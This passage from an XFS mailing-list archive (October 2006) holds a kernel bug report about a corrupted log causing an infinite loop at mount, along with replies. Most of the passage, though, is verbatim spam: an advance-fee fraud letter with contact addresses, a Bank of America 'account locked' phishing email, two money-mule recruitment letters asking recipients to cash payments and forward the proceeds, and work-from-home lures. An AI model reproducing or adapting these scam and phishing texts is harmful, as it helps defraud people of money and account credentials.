YOU. PLEASE DO LET ME KNOW IMMEDIATELY YOU RECEIVE IT SO THAT WE CAN SHARE THE JOY AFTER ALL THE SUFFERNESS AT THAT TIME. IN THE MOMENT, I AM VERY BUSY HERE BECAUSE OF THE INVESTMENT PROJECTS WHICH ME AND THE NEW PARTNER ARE HAVING AT HAND. FINALLY, REMEMBER THAT I HAD FORWARDED INSTRUCTION TO THE LAWYER ON YOUR BEHALF TO SEND YOU THE MONEY AS SOON AS YOU REQUEST FOR IT. SO FEEL FREE TO GET IN TOUCH WITH GEORGE EMMANUEL HE WILL SEND THE AMOUNT TO YOU WITHOUT ANY DELAY,BEAR IN MIND THAT THE $600,000.00 WAS IN CONFIRMABLE BANK DRAFT REGARDS, MR KELLY TROTTER. GEORGE EMMANUEL EMAIL; barrigeorge2@ummah.org or barristergeorge2@o2.pl From owner-xfs@oss.sgi.com Fri Oct 13 12:46:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 12:46:59 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9DJkpaG024288 for ; Fri, 13 Oct 2006 12:46:52 -0700 X-ASG-Debug-ID: 1160768768-22836-278-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by cuda.sgi.com (Spam Firewall) with ESMTP id C41FCD134CA8 for ; Fri, 13 Oct 2006 12:46:08 -0700 (PDT) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9DJk7LE021019 for ; Fri, 13 Oct 2006 15:46:07 -0400 Received: from pobox-2.corp.redhat.com (pobox-2.corp.redhat.com [10.11.255.15]) by int-mx1.corp.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9DJk7Xi014804 for ; Fri, 13 Oct 2006 15:46:07 -0400 Received: from [10.15.80.10] (neon.msp.redhat.com [10.15.80.10]) by pobox-2.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9DJk7Zr016376 for ; Fri, 13 Oct 2006 15:46:07 -0400 Message-ID: <452FECFE.5050902@sandeen.net> Date: Fri, 13 Oct 2006 14:46:06 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: corrupted log causes infinite loop at mount Subject: corrupted log causes infinite loop at mount Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23196 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9286 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O While playing with some filesystem corruption testers, I ran into this. http://sandeen.net/xfs.31.img.bz2 If you try to mount, it gets into xfs_buf_get_noaddr via log replay with a len of 0, and I think this causes an infinite loop in the goto: try_again: data = kmem_alloc(malloc_len, KM_SLEEP | KM_MAYFAIL); if (unlikely(data == NULL)) goto fail_free_buf; /* check whether alignment matches.. */ if ((__psunsigned_t)data != ((__psunsigned_t)data & ~target->bt_smask)) { /* .. else double the size and try again */ kmem_free(data, malloc_len); malloc_len <<= 1; goto try_again; } Up the callchain a bit there is an ASSERT that the size is > 0, but of course that doesn't help on a non-debug kernel... haven't had time to investigate beyond that. -Eric From owner-xfs@oss.sgi.com Fri Oct 13 13:07:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 13:07:53 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9DK7gaG026662 for ; Fri, 13 Oct 2006 13:07:45 -0700 X-ASG-Debug-ID: 1160765012-16423-220-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ns2.bfp.cz (ns2.bfp.cz [194.212.158.131]) by cuda.sgi.com (Spam Firewall) with ESMTP id D7282D193567 for ; Fri, 13 Oct 2006 11:43:32 -0700 (PDT) Received: from ns2.bfp.cz (localhost [127.0.0.1]) by ns2.bfp.cz (8.13.7/8.13.7) with ESMTP id k9DIhULY024018 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Fri, 13 Oct 2006 20:43:30 +0200 Received: (from apache@localhost) by ns2.bfp.cz (8.13.7/8.13.7/Submit) id k9DIhUro024015; Fri, 13 Oct 2006 20:43:30 +0200 Date: Fri, 13 Oct 2006 20:43:30 +0200 Message-Id: <200610131843.k9DIhUro024015@ns2.bfp.cz> To: xfs@oss.sgi.com X-ASG-Orig-Subj: FOR YOUR COMPENSATION Subject: FOR YOUR COMPENSATION From: Kelly Trotter Reply-To: kellytrotter@katamail.com MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 1.04 X-Barracuda-Spam-Status: No, SCORE=1.04 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, UPPERCASE_75_100 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23193 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.04 UPPERCASE_75_100 message body is 75-100% uppercase 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9287 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: kellytrotter@katamail.com Precedence: bulk X-list: xfs Status: O DEAR FRIEND CONGRATULATIONS. I'M HAPPY TO INFORM YOU ABOUT MY SUCCESS IN GETTING THOSE FUNDS TRANSFERRED UNDER THE CO-OPERATION OF A NEW PARTNER FROM PARAGUAY. PRESENTLY I'M IN PARAGUAY BUT BY NEXT WEEK I WILL BE IN CHINA FOR INVESTMENT PROJECTS WITH MY OWN SHARE OF THE TOTAL SUM. MEANWHILE,I DIDN'T FORGET YOUR PAST EFFORTS AND ATTEMPTS TO ASSIST ME IN TRANSFERRING THOSE FUNDS DESPITE THAT IT FAILED US SOME HOW. NOW CONTACT MY LAWYER, HIS NAME IS GEORGE EMMANUEL ON HIS E-MAIL ADDRESSS: barrigeorge2@ummah.org ASK HIM TO SEND YOU THE TOTAL SUM OF $600.000.00 WHICH I KEPT FOR YOUR COMPENSATION FOR ALL THE PAST EFFORTS AND ATTEMPTS TO ASSIST ME IN THIS MATTER. I APPRECIATED YOUR EFFORTS AT THAT TIME VERY MUCH. SO FEEL FREE AND GET IN TOUCH WITH MY LAWYER AND INSTRUCT HIM WHERE TO SEND THE AMOUNT TO YOU. PLEASE DO LET ME KNOW IMMEDIATELY YOU RECEIVE IT SO THAT WE CAN SHARE THE JOY AFTER ALL THE SUFFERNESS AT THAT TIME. IN THE MOMENT, I AM VERY BUSY HERE BECAUSE OF THE INVESTMENT PROJECTS WHICH ME AND THE NEW PARTNER ARE HAVING AT HAND. FINALLY, REMEMBER THAT I HAD FORWARDED INSTRUCTION TO THE LAWYER ON YOUR BEHALF TO SEND YOU THE MONEY AS SOON AS YOU REQUEST FOR IT. SO FEEL FREE TO GET IN TOUCH WITH GEORGE EMMANUEL HE WILL SEND THE AMOUNT TO YOU WITHOUT ANY DELAY,BEAR IN MIND THAT THE $600,000.00 WAS IN CONFIRMABLE BANK DRAFT REGARDS, MR KELLY TROTTER. GEORGE EMMANUEL EMAIL; barrigeorge2@ummah.org or barristergeorge2@o2.pl From owner-xfs@oss.sgi.com Fri Oct 13 14:07:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 14:07:54 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9DL7eaG000526 for ; Fri, 13 Oct 2006 14:07:43 -0700 X-ASG-Debug-ID: 1160768553-20927-187-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from subdepot.couriersplease.com.au (hubsys13.lnk.telstra.net [139.130.125.128]) by cuda.sgi.com (Spam Firewall) with ESMTP id B9181D134CA8 for ; Fri, 13 Oct 2006 12:42:35 -0700 (PDT) Received: (from root@localhost) by subdepot.couriersplease.com.au (8.11.6/8.11.6) id k9DH2po31195; Sat, 14 Oct 2006 03:02:51 +1000 Date: Sat, 14 Oct 2006 03:02:51 +1000 Message-Id: <200610131702.k9DH2po31195@subdepot.couriersplease.com.au> To: linux-xfs@oss.sgi.com From: "onlinebanking@alert.bankofamerica.com" X-ASG-Orig-Subj: Bank of America Alert: Online Account Locked Subject: Bank of America Alert: Online Account Locked Reply-To: "onlinebanking@alert.bankofamerica.com" Content-type: text/html X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC7_SA015a, BSF_SC7_SA015b, MIME_HEADER_CTYPE_ONLY, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23196 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 MIME_HEADER_CTYPE_ONLY 'Content-Type' found without required MIME headers 0.10 BSF_SC7_SA015a Custom Rule SA015a 0.50 BSF_SC7_SA015b Custom Rule SA015b X-archive-position: 9288 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: onlinebanking@alert.bankofamerica.com Precedence: bulk X-list: xfs Status: O Bank of America Alert
Customer using a laptop for Online Banking Online Banking Alert

Online Account Locked

Dear Bank Of America Customer
You last logged in to
Online Banking:
9/29/2006

Due to the number of incorrect login attempts, your Bank of America Online Banking Account has been locked for your security on 10/12/2006. You must reset your Passcode before you can enter Online Banking. You can reset your Passcode just with one click on the link below.

At Bank of America we care about your security so, for your protection we are proactively notifying you of this activity.

If you did not trigger this lockout, please try to sign in to www.bankofamerica.com to confirm the lockout and then contact us immediately at 1.800.933.6262.


Want to confirm this email is from Bank of America? Log in to Online Banking, select Manage Alerts and Alerts History to view all alerts sent from Bank of America. Your Alerts History is updated every 2 hours.

https://www.bankofamerica.com/signin/


Because E-Mail Is Not A Secure Form Of Communication, This E-Mail Box Is Not Equipped To Handle Replies.
If you have any questions about your account or need assistance, please call the phone number on your statement or go to Contact Us.

From owner-xfs@oss.sgi.com Fri Oct 13 21:32:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 13 Oct 2006 21:32:48 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9E4WWaG028947 for ; Fri, 13 Oct 2006 21:32:33 -0700 X-ASG-Debug-ID: 1160800309-26092-498-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4322E4A361A for ; Fri, 13 Oct 2006 21:31:49 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id CA8841809E77A for ; Fri, 13 Oct 2006 23:31:48 -0500 (CDT) Message-ID: <45306834.5050008@sandeen.net> Date: Fri, 13 Oct 2006 23:31:48 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/2] Make stuff static Subject: Re: [PATCH 1/2] Make stuff static References: <20060929032856.8DA9C18001A5E@sandeen.net> In-Reply-To: <20060929032856.8DA9C18001A5E@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23225 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9289 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O sandeen@sandeen.net wrote: > Make things static which can be. > > linux-2.4/xfs_vfs.c | 2 - > linux-2.4/xfs_vfs.h | 1 > linux-2.4/xfs_vnode.c | 2 - > linux-2.6/xfs_vfs.c | 2 - > linux-2.6/xfs_vfs.h | 1 > linux-2.6/xfs_vnode.c | 2 - > quota/xfs_dquot.c | 2 - > quota/xfs_qm_bhv.c | 2 - > xfs_attr.c | 3 +- .... Ugh, forgot a quilt refresh, there are a couple files missing here. Is there any interest in this change? if so I'll send the update. Thanks, -Eric From owner-xfs@oss.sgi.com Sat Oct 14 03:51:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 14 Oct 2006 03:51:28 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9EApKaG006723; Sat, 14 Oct 2006 03:51:20 -0700 X-ASG-Debug-ID: 1160818906-12658-691-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from gator169.hostgator.com (gator169.hostgator.com [74.52.131.162]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4840949DD2F; Sat, 14 Oct 2006 02:41:46 -0700 (PDT) Received: from loo1990 by gator169.hostgator.com with local (Exim 4.52) id 1GYfyH-0002ZU-9L; Sat, 14 Oct 2006 04:38:21 -0500 Received: from 196.209.47.46 ([196.209.47.46]) (SquirrelMail authenticated user loon2@loonenmem.com) by 74.52.131.162 with HTTP; Sat, 14 Oct 2006 04:38:21 -0500 (CDT) Message-ID: <3482.196.209.47.46.1160818701.squirrel@74.52.131.162> Date: Sat, 14 Oct 2006 04:38:21 -0500 (CDT) X-ASG-Orig-Subj: Representative Subject: Representative From: "Kelvin Powell" Reply-To: infoyardscrapercompany@jmail.co.za User-Agent: SquirrelMail/1.4.8 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - gator169.hostgator.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [32033 32035] / [47 12] X-AntiAbuse: Sender Address Domain - jmail.co.za X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 0.94 X-Barracuda-Spam-Status: No, SCORE=0.94 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, SARE_SXLIFE, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23240 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 0.61 SARE_SXLIFE BODY: Talks about your sex life 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; X-archive-position: 9290 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: yardscrapercompany@jmail.co.za Precedence: bulk X-list: xfs Status: O YARD SCRAPER, INC. SOUTH AFRICA Head Office: 131 Braamfontein, Midran-Johannesburg 2050 South Africa Tel: 27 11 507 5168 Fax: 27 11 507 5168 Good Day I am Mr. Kelvin Powell, President/CEO of Yard Scraper, Inc. South Africa (a company based in the South Africa). A Company that is specialized in import and export of industrial and domestic machinery & equipment, communication accessories and household appliances. We also deal on mechanical equipment, hardware and minerals, electrical products, medical & chemicals, light industrial products and office equipment, and export into America, Asia and Europe, therefore being a General Mercantile Company. We currently run our business from America, Asia and Europe but I will be communicating with you from our South Africa Office where I am currently located for now. We are searching for representatives who can help us establish a medium of getting to our customers in America, Asia and Europe as well as making payments through you to us. Please if you are interested in transacting business with us we will be most glad to be your partners. My company is willing to offer you 10% of every payment that comes in through you to us. If you are interested, kindly forward to us the following informations through my private emai(yardscrapercompany@fsmail.net): Full Names Company Name Telephone & Fax Numbers Full contact addresses Please note that your area of specialization or occupation is of no relevance to resolve to assist us. Thanks in advance. Sincerely. Kelvin Powell President/CEO of Yard Scraper, Inc. From owner-xfs@oss.sgi.com Sat Oct 14 05:10:47 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 14 Oct 2006 05:10:52 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9ECAjaG020790 for ; Sat, 14 Oct 2006 05:10:47 -0700 X-ASG-Debug-ID: 1160827803-27291-382-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from gator169.hostgator.com (gator169.hostgator.com [74.52.131.162]) by cuda.sgi.com (Spam Firewall) with ESMTP id 675EED1339E0 for ; Sat, 14 Oct 2006 05:10:03 -0700 (PDT) Received: from loo1990 by gator169.hostgator.com with local (Exim 4.52) id 1GYi64-000502-Hm; Sat, 14 Oct 2006 06:54:33 -0500 Received: from 196.209.47.46 ([196.209.47.46]) (SquirrelMail authenticated user loon3@loonenmem.com) by 74.52.131.162 with HTTP; Sat, 14 Oct 2006 06:54:32 -0500 (CDT) Message-ID: <3523.196.209.47.46.1160826872.squirrel@74.52.131.162> Date: Sat, 14 Oct 2006 06:54:32 -0500 (CDT) X-ASG-Orig-Subj: Representative Subject: Representative From: "Mr. Douglas Zuma" Reply-To: douglaspraad@jmail.co.za User-Agent: SquirrelMail/1.4.8 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - gator169.hostgator.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [32033 32035] / [47 12] X-AntiAbuse: Sender Address Domain - unionplus.net X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 2.55 X-Barracuda-Spam-Status: No, SCORE=2.55 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_SOMETHING, MISSING_HEADERS, SARE_SXLIFE, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23247 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 1.61 DEAR_SOMETHING BODY: Contains 'Dear (something)' 0.61 SARE_SXLIFE BODY: Talks about your sex life 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; X-archive-position: 9291 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: douglas_yardcraper@unionplus.net Precedence: bulk X-list: xfs Status: O Dear Sir/Madam, I am Mr. Douglas Zuma, President/CEO of Yard Scraper, Inc. South Africa (a company based in the South Africa). A Company that is specialized in import and export of industrial and domestic machinery & equipment, communication accessories and household appliances. We also deal on mechanical equipment, hardware and minerals, electrical products, medical & chemicals, light industrial products and office equipment, and export into America, Asia and Europe, therefore being a General Mercantile Company. We currently run our business from America, Asia and Europe but I will be communicating with you from our South Africa Office where I am currently located for now. We are searching for representatives who can help us establish a medium of getting to ourcustomers in America, Asia and Europe as well as making payments through you to us. Please if you are interested in transacting business with us we will be most glad to be your partners. I realize that its quite too expensive and stressful for me to be coming to the America, Asia and Europe to receive such payment twice or more in a month. This is the main and sincere reason why I should be in need of your ssistance with trust and honesty from you. All you need to do is to receive payment on my company behalf and then cash it and you will remove 10% for yourself and then send the rest down to my company account. You dont have to go any length to pick the payment, I will instruct my client to make the payment out to you and it will be mailed out to you via mail. As the president/CEO of this company I am illing to offer you 10% of every payment that comes in through you with honesty on my company behalf. Please contact us for more information about your company/specialization/occupation. You will be given the opportunity to negotiate your mode of which we will pay for your services as our representative in America, Asia and urope. If you are interested, kindly forward to us the followings, Full names Direct phone number/fax Number Full contact addresses. Please note that your area of specialization or occupation is of no relevance to resolve to assist us. Thanks in advance. Sincerely. Mr. Douglas Zuma From owner-xfs@oss.sgi.com Sat Oct 14 19:57:48 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 14 Oct 2006 19:57:56 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9F2vlaG010473 for ; Sat, 14 Oct 2006 19:57:48 -0700 X-ASG-Debug-ID: 1160881018-12417-469-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from c2bthomr04.btconnect.com (c2bthomr04.btconnect.com [194.73.73.212]) by cuda.sgi.com (Spam Firewall) with ESMTP id E197B4A8BFF for ; Sat, 14 Oct 2006 19:56:58 -0700 (PDT) Received: from [192.168.254.1] (host86-141-152-174.range86-141.btcentralplus.com [86.141.152.174]) by c2bthomr04.btconnect.com (MOS 3.7.4b-GA) with SMTP id FVV27888; Sun, 15 Oct 2006 03:51:23 +0100 (BST) MIME-Version: 1.0 Message-Id: Date: Sun, 15 Oct 2006 03:56:52 +0100 To: From: ItaliaUK X-ASG-Orig-Subj: Latest Business to Business News! Subject: Latest Business to Business News! X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23291 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 625 X-archive-position: 9292 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: italiauk@btconnect.com Precedence: bulk X-list: xfs Status: O Business to Business News Alerts If you are unable to view this email then please set your email software to read Enriched HTML emails. If you are unable to do this then please enter the following URL into your web browser, either by pasting it in directly or by entering it manually: http://italiauk.net/email_alerts/newsalert121006.htm Should you wish to contact Italia UK Ltd, then please call us on 0161 976 1212 or visit our website direct at http://www.italiauk.net If you have received this Business to Business email in error please accept our apologies. The Italia UK Team. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Sat Oct 14 22:52:26 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 14 Oct 2006 22:52:37 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9F5qLaG018889 for ; Sat, 14 Oct 2006 22:52:25 -0700 Received: from [127.0.0.1] (sshgate.corp.sgi.com [198.149.36.12]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA06196; Sun, 15 Oct 2006 15:51:30 +1000 Message-ID: <4531CC5D.5010705@melbourne.sgi.com> Date: Sun, 15 Oct 2006 15:51:25 +1000 From: David Chatterton Reply-To: chatz@melbourne.sgi.com Organization: SGI User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: corrupted log causes infinite loop at mount References: <452FECFE.5050902@sandeen.net> In-Reply-To: <452FECFE.5050902@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-archive-position: 9293 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: chatz@melbourne.sgi.com Precedence: bulk X-list: xfs Status: O Eric, Eric Sandeen wrote: > While playing with some filesystem corruption testers, I ran into this. > > http://sandeen.net/xfs.31.img.bz2 > > If you try to mount, it gets into xfs_buf_get_noaddr via log replay with > a len of 0, and I think this causes an infinite loop in the goto: > > try_again: > data = kmem_alloc(malloc_len, KM_SLEEP | KM_MAYFAIL); > if (unlikely(data == NULL)) > goto fail_free_buf; > > /* check whether alignment matches.. */ > if ((__psunsigned_t)data != > ((__psunsigned_t)data & ~target->bt_smask)) { > /* .. else double the size and try again */ > kmem_free(data, malloc_len); > malloc_len <<= 1; > goto try_again; > } > > Up the callchain a bit there is an ASSERT that the size is > 0, but of > course that doesn't help on a non-debug kernel... > > haven't had time to investigate beyond that. > > -Eric > I assume the loop is further up the chain since kmem_alloc should return NULL when asked to alloc 0. So then the problem also lies further up the chain in checking for a 0 length before calling down, and/or not assuming we are out of memory when xfs_buf_get_noaddr fails. David -- David Chatterton XFS Engineering Manager SGI Australia From owner-xfs@oss.sgi.com Sun Oct 15 04:34:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 15 Oct 2006 04:35:05 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9FBYdaG002919; Sun, 15 Oct 2006 04:34:45 -0700 X-ASG-Debug-ID: 1160907100-11990-234-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from psphalifax.ns.ca (unknown [222.98.179.169]) by cuda.sgi.com (Spam Firewall) with SMTP id 267344960E6; Sun, 15 Oct 2006 03:11:41 -0700 (PDT) Message-ID: <797901c6f081$89117d30$ed69079d@dyoung6330> Reply-To: "Harlan Lewis" From: "Harlan Lewis" To: , , , , , X-ASG-Orig-Subj: New supervisor position available Subject: New supervisor position available Date: Sun, 15 Oct 2006 17:44:16 +0700 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23312 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9294 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dyoung6330@psphalifax.ns.ca Precedence: bulk X-list: xfs Status: O Good Morning , Find out how to generate 1.5 - 3.5k daily from your home. 888.701.3877 Call me at my number if you can return calls. Respects, Harlan Lewis From owner-xfs@oss.sgi.com Sun Oct 15 05:51:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 15 Oct 2006 05:51:38 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9FCpHaG010617; Sun, 15 Oct 2006 05:51:18 -0700 X-ASG-Debug-ID: 1160912916-28165-840-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from slamdunkfan.com (unknown [221.127.118.55]) by cuda.sgi.com (Spam Firewall) with SMTP id F0E514AABBA; Sun, 15 Oct 2006 04:48:37 -0700 (PDT) Message-ID: <9BB5C623.4D8481A@slamdunkfan.com> Date: Sun, 15 Oct 2006 23:37:54 +1100 From: "Jamar Peel" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031013 Thunderbird/0.3 MIME-Version: 1.0 To: X-ASG-Orig-Subj: Hey are they starting layoffs yet? Subject: Hey are they starting layoffs yet? Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9295 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: renazow@slamdunkfan.com Precedence: bulk X-list: xfs Status: O Good day , Find out how to make 1.5 - 3.5k per day from home. 888.701.3877 Phone me at my number if you can return phone calls. Thank you, Jamar Peel From owner-xfs@oss.sgi.com Sun Oct 15 07:03:29 2006 Received: with 